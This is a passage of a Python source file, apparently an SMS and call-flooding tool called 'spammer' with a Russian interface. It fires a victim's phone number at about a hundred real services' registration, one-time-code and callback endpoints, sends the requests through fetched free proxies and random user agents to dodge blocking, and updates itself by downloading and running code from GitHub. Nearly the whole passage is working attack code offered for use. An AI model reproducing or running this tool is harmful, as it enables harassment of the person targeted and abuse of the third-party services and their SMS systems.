345 | post("https://www.ozon.ru/api/composer-api.bx/_action/fastEntry", json={"phone": phone, "otpId": 0}, headers=headers, proxies=proxies)
346 | except:
347 | pass
348 | try:
349 | formatted_phone = format_phone(phone, "+# (###) ###-####")
350 | post("https://www.osaka161.ru/local/tools/webstroy.webservice.php", data={"name": "Auth.SendPassword", "params[0]": formatted_phone}, headers=headers, proxies=proxies)
351 | except:
352 | pass
353 | try:
354 | post("https://ontaxi.com.ua/api/v2/web/client", json={"country": "UA", "phone": phone[3:]}, headers=headers, proxies=proxies)
355 | except:
356 | pass
357 | try:
358 | get("https://secure.online.ua/ajax/check_phone/", params={"reg_phone": phone}, headers=headers, proxies=proxies)
359 | except:
360 | pass
361 | try:
362 | formatted_phone = format_phone(phone9, "8 (###) ###-##-##")
363 | get("https://okeansushi.ru/includes/contact.php", params={"call_mail": "1", "ajax": "1", "name": name, "phone": formatted_phone, "call_time": "1", "pravila2": "on"}, headers=headers, proxies=proxies)
364 | except:
365 | pass
366 | try:
367 | post("https://ok.ru/dk?cmd=AnonymRegistrationEnterPhone&st.cmd=anonymRegistrationEnterPhone", data={"st.r.phone": "+" + phone}, headers=headers, proxies=proxies)
368 | except:
369 | pass
370 | try:
371 | post("https://nn-card.ru/api/1.0/covid/login", json={"phone": phone}, headers=headers, proxies=proxies)
372 | except:
373 | pass
374 | try:
375 | post("https://www.nl.ua", data={"component": "bxmaker.authuserphone.login", "sessid": "bf70db951f54b837748f69b75a61deb4", "method": "sendCode", "phone": phone, "registration": "N"}, headers=headers, proxies=proxies)
376 | except:
377 | pass
378 | try:
379 | post("https://www.niyama.ru/ajax/sendSMS.php", data={"REGISTER[PERSONAL_PHONE]": phone, "code": "", "sendsms": "Выслать код"}, headers=headers, proxies=proxies)
380 | except:
381 | pass
382 | try:
383 | post("https://account.my.games/signup_send_sms/", data={"phone": phone}, headers=headers, proxies=proxies)
384 | except:
385 | pass
386 | try:
387 | post("https://auth.multiplex.ua/login", json={"login": phone}, headers=headers, proxies=proxies)
388 | except:
389 | pass
390 | try:
391 | post("https://prod.tvh.mts.ru/tvh-public-api-gateway/public/rest/general/send-code", params={"msisdn": phone}, headers=headers, proxies=proxies)
392 | except:
393 | pass
394 | try:
395 | post("https://www.moyo.ua/identity/registration", data={"firstname": name, "phone": phone, "email": email}, headers=headers, proxies=proxies)
396 | except:
397 | pass
398 | try:
399 | post("https://mos.pizza/bitrix/components/custom/callback/templates/.default/ajax.php", data={"name": name, "phone": phone}, headers=headers, proxies=proxies)
400 | except:
401 | pass
402 | try:
403 | post("https://www.monobank.com.ua/api/mobapplink/send", data={"phone": "+" + phone}, headers=headers, proxies=proxies)
404 | except:
405 | pass
406 | try:
407 | post("https://moneyman.ru/registration_api/actions/send-confirmation-code", data="+" + phone, headers=headers, proxies=proxies)
408 | except:
409 | pass
410 | try:
411 | post("https://my.modulbank.ru/api/v2/registration/nameAndPhone", json={"FirstName": name, "CellPhone": phone, "Package": "optimal"}, headers=headers, proxies=proxies)
412 | except:
413 | pass
414 | try:
415 | post("https://mobileplanet.ua/register", data={"klient_name": name, "klient_phone": "+" + phone, "klient_email": email}, headers=headers, proxies=proxies)
416 | except:
417 | pass
418 | try:
419 | get("https://my.mistercash.ua/ru/send/sms/registration", params={"number": "+" + phone}, headers=headers, proxies=proxies)
420 | except:
421 | pass
422 | try:
423 | get("https://menza-cafe.ru/system/call_me.php", params={"fio": name, "phone": phone, "phone_number": "1"}, headers=headers, proxies=proxies)
424 | except:
425 | pass
426 | try:
427 | post("https://www.menu.ua/kiev/delivery/registration/direct-registration.html", data={"user_info[fullname]": name, "user_info[phone]": phone, "user_info[email]": email, "user_info[password]": password, "user_info[conf_password]": password}, headers=headers, proxies=proxies)
428 | except:
429 | pass
430 | try:
431 | post("https://www.menu.ua/kiev/delivery/profile/show-verify.html", data={"phone": phone, "do": "phone"}, headers=headers, proxies=proxies)
432 | except:
433 | pass
434 | try:
435 | formatted_phone = format_phone(phone, "+# ### ### ## ##")
436 | get("https://makimaki.ru/system/callback.php", params={"cb_fio": name, "cb_phone": formatted_phone}, headers=headers, proxies=proxies)
437 | except:
438 | pass
439 | try:
440 | post("https://makarolls.ru/bitrix/components/aloe/aloe.user/login_new.php", data={"data": phone, "metod": "postreg"}, headers=headers, proxies=proxies)
441 | except:
442 | pass
443 | try:
444 | post("https://api-rest.logistictech.ru/api/v1.1/clients/request-code", json={"phone": phone}, headers={"Restaurant-chain": "c0ab3d88-fba8-47aa-b08d-c7598a3be0b9", "User-Agent": generate_user_agent()}, proxies=proxies)
445 | except:
446 | pass
447 | try:
448 | post("https://loany.com.ua/funct/ajax/registration/code", data={"phone": phone}, headers=headers, proxies=proxies)
449 | except:
450 | pass
451 | try:
452 | post("https://lenta.com/api/v1/authentication/requestValidationCode", json={"phone": "+" + phone}, headers=headers, proxies=proxies)
453 | except:
454 | pass
455 | try:
456 | post("https://koronapay.com/transfers/online/api/users/otps", data={"phone": phone}, headers=headers, proxies=proxies)
457 | except:
458 | pass
459 | try:
460 | post("https://api.kinoland.com.ua/api/v1/service/send-sms", headers={"Agent": "website", "User-Agent": generate_user_agent()}, json={"Phone": phone, "Type": 1}, proxies=proxies)
461 | except:
462 | pass
463 | try:
464 | formatted_phone = format_phone(phone, "# (###) ###-##-##")
465 | post("https://kilovkusa.ru/ajax.php", params={"block": "auth", "action": "send_register_sms_code", "data_type": "json"}, data={"phone": formatted_phone}, headers=headers, proxies=proxies)
466 | except:
467 | pass
468 | try:
469 | post("https://app-api.kfc.ru/api/v1/common/auth/send-validation-sms", json={"phone": "+" + phone}, headers=headers, proxies=proxies)
470 | except:
471 | pass
472 | try:
473 | post("https://kaspi.kz/util/send-app-link", data={"address": phone9}, headers=headers, proxies=proxies)
474 | except:
475 | pass
476 | try:
477 | post("https://app.karusel.ru/api/v1/phone/", data={"phone": phone}, headers=headers, proxies=proxies)
478 | except:
479 | pass
480 | try:
481 | post("https://izi.ua/api/auth/register", json={"phone": "+" + phone, "name": name, "is_terms_accepted": True}, headers=headers, proxies=proxies)
482 | except:
483 | pass
484 | try:
485 | post("https://izi.ua/api/auth/sms-login", json={"phone": "+" + phone}, headers=headers, proxies=proxies)
486 | except:
487 | pass
488 | try:
489 | post("https://api.ivi.ru/mobileapi/user/register/phone/v6", data={"phone": phone}, headers=headers, proxies=proxies)
490 | except:
491 | pass
492 | try:
493 | formatted_phone = format_phone(phone, "+## (###) ###-##-##")
494 | post("https://iqlab.com.ua/session/ajaxregister", data={"cellphone": formatted_phone}, headers=headers, proxies=proxies)
495 | except:
496 | pass
497 | try:
498 | post("https://www.ingos.ru/api/v1/lk/auth/register/fast/step2", headers={"Referer": "https://www.ingos.ru/cabinet/registration/personal", "User-Agent": generate_user_agent()}, json={"Birthday": "1986-07-10T07:19:56.276+02:00", "DocIssueDate": "2004-02-05T07:19:56.276+02:00", "DocNumber": randint(500000, 999999), "DocSeries": randint(5000, 9999), "FirstName": name, "Gender": "M", "LastName": name, "SecondName": name, "Phone": phone9, "Email": email}, proxies=proxies)
499 | except:
500 | pass
501 | try:
502 | post("https://terra-1.indriverapp.com/api/authorization?locale=ru", data={"mode": "request", "phone": "+" + phone, "phone_permission": "unknown", "stream_id": 0, "v": 3, "appversion": "3.20.6", "osversion": "unknown", "devicemodel": "unknown"}, headers=headers, proxies=proxies)
503 | except:
504 | pass
505 | try:
506 | post("https://api.imgur.com/account/v1/phones/verify", json={"phone_number": phone, "region_code": "RU"}, headers=headers, proxies=proxies)
507 | except:
508 | pass
509 | try:
510 | post("https://www.icq.com/smsreg/requestPhoneValidation.php", data={"msisdn": phone, "locale": "en", "countryCode": "ru", "version": "1", "k": "ic1rtwz1s1Hj1O0r", "r": "46763"}, headers=headers, proxies=proxies)
511 | except:
512 | pass
513 | try:
514 | get("https://api.hmara.tv/stable/entrance", params={"contact": phone}, headers=headers, proxies=proxies)
515 | except:
516 | pass
517 | try:
518 | post("https://helsi.me/api/healthy/accounts/login", json={"phone": phone, "platform": "PISWeb"}, headers=headers, proxies=proxies)
519 | except:
520 | pass
521 | try:
522 | post("https://www.hatimaki.ru/register/", data={"REGISTER[LOGIN]": phone, "REGISTER[PERSONAL_PHONE]": phone, "REGISTER[SMS_CODE]": "", "resend-sms": "1", "REGISTER[EMAIL]": "", "register_submit_button": "Зарегистрироваться"}, headers=headers, proxies=proxies)
523 | except:
524 | pass
525 | try:
526 | post("https://guru.taxi/api/v1/driver/session/verify", json={"phone": {"code": 1, "number": phone9}}, headers=headers, proxies=proxies)
527 | except:
528 | pass
529 | try:
530 | post("https://crm.getmancar.com.ua/api/veryfyaccount", json={"phone": "+" + phone, "grant_type": "password", "client_id": "gcarAppMob", "client_secret": "SomeRandomCharsAndNumbersMobile"}, headers=headers, proxies=proxies)
531 | except:
532 | pass
533 | try:
534 | formatted_phone = format_phone(phone, "+# (###) ###-##-##")
535 | post("https://foodband.ru/api?call=calls", data={"customerName": name, "phone": formatted_phone, "g-recaptcha-response": ""}, headers=headers, proxies=proxies)
536 | except:
537 | pass
538 | try:
539 | get("https://foodband.ru/api/", params={"call": "customers/sendVerificationCode", "phone": phone9, "g-recaptcha-response": ""}, headers=headers, proxies=proxies)
540 | except:
541 | pass
542 | try:
543 | post("https://www.flipkart.com/api/5/user/otp/generate", headers={"Origin": "https://www.flipkart.com", "User-Agent": generate_user_agent()}, data={"loginId": "+" + phone}, proxies=proxies)
544 | except:
545 | pass
546 | try:
547 | post("https://www.flipkart.com/api/6/user/signup/status", headers={"Origin": "https://www.flipkart.com", "User-Agent": generate_user_agent()}, json={"loginId": "+" + phone, "supportAllStates": True}, proxies=proxies)
548 | except:
549 | pass
550 | try:
551 | post("https://fix-price.ru/ajax/register_phone_code.php", data={"register_call": "Y", "action": "getCode", "phone": "+" + phone}, headers=headers, proxies=proxies)
552 | except:
553 | pass
554 | try:
555 | get("https://findclone.ru/register", params={"phone": "+" + phone}, headers=headers, proxies=proxies)
556 | except:
557 | pass
558 | try:
559 | post("https://www.finam.ru/api/smslocker/sendcode", data={"phone": "+" + phone}, headers=headers, proxies=proxies)
560 | except:
561 | pass
562 | try:
563 | formatted_phone = format_phone(phone, "+# (###) ###-##-##")
564 | post("https://2407.smartomato.ru/account/session", json={"phone": formatted_phone, "g-recaptcha-response": None}, headers=headers, proxies=proxies)
565 | except:
566 | pass
567 | try:
568 | post("https://www.etm.ru/cat/runprog.html", data={"m_phone": phone9, "mode": "sendSms", "syf_prog": "clients-services", "getSysParam": "yes"}, headers=headers, proxies=proxies)
569 | except:
570 | pass
571 | try:
572 | get("https://api.eldorado.ua/v1/sign/", params={"login": phone, "step": "phone-check", "fb_id": "null", "fb_token": "null", "lang": "ru"}, headers=headers, proxies=proxies)
573 | except:
574 | pass
575 | try:
576 | formatted_phone = format_phone(phone, "+## (###) ###-##-##")
577 | post("https://e-groshi.com/online/reg", data={"first_name": name, "last_name": name, "third_name": name, "phone": formatted_phone, "password": password, "password2": password}, headers=headers, proxies=proxies)
578 | except:
579 | pass
580 | try:
581 | post("https://vladimir.edostav.ru/site/CheckAuthLogin", data={"phone_or_email": "+" + phone}, headers=headers, proxies=proxies)
582 | except:
583 | pass
584 | try:
585 | post("https://api.easypay.ua/api/auth/register", json={"phone": phone, "password": password}, headers=headers, proxies=proxies)
586 | except:
587 | pass
588 | try:
589 | post("https://my.dianet.com.ua/send_sms/", data={"phone": phone}, headers=headers, proxies=proxies)
590 | except:
591 | pass
592 | try:
593 | post("https://api.delitime.ru/api/v2/signup", data={"SignupForm[username]": phone, "SignupForm[device_type]": 3}, headers=headers, proxies=proxies)
594 | except:
595 | pass
596 | try:
597 | formatted_phone = format_phone(phone, "+# (###) ###-##-##")
598 | post("https://api.creditter.ru/confirm/sms/send", json={"phone": formatted_phone, "type": "register"}, headers=headers, proxies=proxies)
599 | except:
600 | pass
601 | try:
602 | post("https://clients.cleversite.ru/callback/run.php", data={"siteid": "62731", "num": phone, "title": "Онлайн-консультант", "referrer": "https://m.cleversite.ru/call"}, headers=headers, proxies=proxies)
603 | except:
604 | pass
605 | try:
606 | post("https://city24.ua/personalaccount/account/registration", data={"PhoneNumber": phone}, headers=headers, proxies=proxies)
607 | except:
608 | pass
609 | try:
610 | post(f"https://www.citilink.ru/registration/confirm/phone/+{phone}/", headers=headers, proxies=proxies)
611 | except:
612 | pass
613 | try:
614 | formatted_phone = format_phone(phone, "+# (###) ###-##-##")
615 | post("https://cinema5.ru/api/phone_code", data={"phone": formatted_phone}, headers=headers, proxies=proxies)
616 | except:
617 | pass
618 | try:
619 | post("https://api.cian.ru/sms/v1/send-validation-code/", json={"phone": "+" + phone, "type": "authenticateCode"}, headers=headers, proxies=proxies)
620 | except:
621 | pass
622 | try:
623 | post("https://api.carsmile.com/", son={"operationName": "enterPhone", "variables": {"phone": phone}, "query": "mutation enterPhone($phone: String!) {\n enterPhone(phone: $phone)\n}\n"}, headers=headers, proxies=proxies)
624 | except:
625 | pass
626 | try:
627 | get("https://it.buzzolls.ru:9995/api/v2/auth/register", params={"phoneNumber": "+" + phone}, headers={"keywordapi": "ProjectVApiKeyword", "usedapiversion": "3", "User-Agent": generate_user_agent()}, proxies=proxies)
628 | except:
629 | pass
630 | try:
631 | formatted_phone = format_phone(phone9, "(###)###-##-##")
632 | post("https://bluefin.moscow/auth/register/", data={"phone": formatted_phone, "sendphone": "Далее"}, headers=headers, proxies=proxies)
633 | except:
634 | pass
635 | try:
636 | post("https://app.benzuber.ru/login", data={"phone": "+" + phone}, headers=headers, proxies=proxies)
637 | except:
638 | pass
639 | try:
640 | formatted_phone = format_phone(phone, "+# (###) ###-##-##")
641 | post("https://bartokyo.ru/ajax/login.php", data={"user_phone": formatted_phone}, headers=headers, proxies=proxies)
642 | except:
643 | pass
644 | try:
645 | post("https://bamper.by/registration/?step=1", data={"phone": "+" + phone, "submit": "Запросить смс подтверждения", "rules": "on"}, headers=headers, proxies=proxies)
646 | except:
647 | pass
648 | try:
649 | formatted_phone = format_phone(phone9, "(###) ###-##-##")
650 | get("https://avtobzvon.ru/request/makeTestCall", params={"to": formatted_phone}, headers=headers, proxies=proxies)
651 | except:
652 | pass
653 | try:
654 | formatted_phone = format_phone(phone, "+# (###) ###-##-##")
655 | post("https://oauth.av.ru/check-phone", json={"phone": formatted_phone}, headers=headers, proxies=proxies)
656 | except:
657 | pass
658 | try:
659 | post("https://api-prime.anytime.global/api/v2/auth/sendVerificationCode", data={"phone": phone}, headers=headers, proxies=proxies)
660 | except:
661 | pass
662 | try:
663 | formatted_phone = format_phone(phone, "+# (###) ###-##-##")
664 | post("https://apteka.ru/_action/auth/getForm/", data={"form[NAME]": "", "form[PERSONAL_GENDER]": "", "form[PERSONAL_BIRTHDAY]": "", "form[EMAIL]": "", "form[LOGIN]": formatted_phone, "form[PASSWORD]": password, "get-new-password": "Получите пароль по SMS", "user_agreement": "on", "personal_data_agreement": "on", "formType": "simple", "utc_offset": "120"}, headers=headers, proxies=proxies)
665 | except:
666 | pass
667 |
668 |
669 | def parse_phone(phone):
670 | if phone in ["", " "]:
671 | main()
672 | if len(phone) in [10, 11, 12]:
673 | if phone[0] == "+":
674 | phone = phone[1:]
675 | elif phone[0] == "8":
676 | phone = "7" + phone[1:]
677 | elif phone[0] == "9":
678 | phone = "7" + phone
679 | return phone
680 | else:
681 | print(f"\n{BRIGHT}{RED}[*] Номер телефона введён неверно!{RESET_ALL}")
682 | sleep(1)
683 | spam_handler()
684 |
685 |
686 | def generate_proxy():
687 | proxy = get("https://gimmeproxy.com/api/getProxy?curl=true&protocol=http&supportsHttps=true").text
688 | return {"http": proxy, "https": proxy}
689 |
690 |
691 | def check_internet():
692 | try:
693 | get("http://google.com", timeout=1)
694 | except Exception:
695 | print(f"\n{BRIGHT}{RED}[*] Нет подключения к интернету!{RESET_ALL}")
696 | sleep(1)
697 | main()
698 | return
699 |
700 |
701 | def check_version():
702 | version = "3.1"
703 | if float(version) < float(get("https://raw.githubusercontent.com/cludeex/spammer/master/version.txt").text):
704 | print(f"\n{BRIGHT}{RED}[*] Версия устарела и нуждается в обновлении!{RESET_ALL}")
705 | sleep(1)
706 | main()
707 | return
708 |
709 |
710 | def update():
711 | check_internet()
712 | banner()
713 | print("Вы уверены, что хотите обновить? (y/n)")
714 | update = input(f"{BRIGHT}{BLUE}spammer >> {RESET_ALL}")
715 | if update.lower() == "y":
716 | if exists("/usr/bin") and isfile("/usr/bin/spammer"):
717 | file = open("/usr/bin/spammer", "wb")
718 | elif exists("/usr/local/bin/") and isfile("/usr/local/bin/spammer"):
719 | file = open("/usr/local/bin/spammer", "wb")
720 | elif exists("/data/data/com.termux/files/usr/bin") and isfile("/data/data/com.termux/files/usr/bin/spammer"):
721 | file = open("/data/data/com.termux/files/usr/bin/spammer", "wb")
722 | try:
723 | file.write(get("https://raw.githubusercontent.com/cludeex/spammer/master/spammer.py").content)
724 | file.close()
725 | system("spammer")
726 | except UnboundLocalError:
727 | system("cd $HOME && rm -rf spammer && git clone https://github.com/cludeex/spammer && cd spammer && sh install.sh")
728 | else:
729 | main()
730 |
731 | GREEN = Fore.GREEN
732 | BLUE = Fore.BLUE
733 | RED = Fore.RED
734 | BRIGHT = Style.BRIGHT
735 | RESET_ALL = Style.RESET_ALL
736 |
737 | if __name__ == "__main__":
738 | main()
739 |
--------------------------------------------------------------------------------
/version.txt:
--------------------------------------------------------------------------------
1 | 3.1
2 |
--------------------------------------------------------------------------------